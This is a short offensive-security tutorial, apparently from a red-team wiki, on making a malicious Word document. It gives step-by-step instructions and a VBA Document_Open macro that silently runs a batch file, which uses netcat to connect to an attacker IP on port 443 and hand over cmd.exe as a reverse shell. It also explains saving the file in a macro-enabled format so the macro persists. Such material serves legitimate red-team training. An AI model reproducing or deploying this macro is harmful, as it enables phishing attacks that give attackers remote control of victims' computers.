MS Office - VBA (Macros)
Theory
This technique will build a primitive word document that will auto execute the VBA Macros code once the Macros protection is disabled.
VBA stands for Visual Basic for Applications, a programming language by Microsoft implemented for Microsoft applications such as Microsoft Word, Excel, PowerPoint, etc. VBA programming allows automating tasks of nearly every keyboard and mouse interaction between a user and Microsoft Office applications.
VBAs/macros by themselves do not inherently bypass any detection.
Practice
1 - Create new word document (CTRL+N)
2 - Hit ALT+F11 to go into Macro editor
3 - Double click into the "This document" and CTRL+C/V the below:
'Macro
Private Sub Document_Open()
MsgBox "game over", vbOKOnly, "game over"
a = Shell("C:\tools\shell.cmd", vbHide)
End Sub#C:\tools\shell.cmd
C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe4 - ALT+F11 to switch back to the document editing mode
5 - Save the file as a macro enabled document, for example as dotm, Word 97-2003 Document.
Using the newer .docx extension, we can't embed or save the macro in the document. The macro will not be persistent.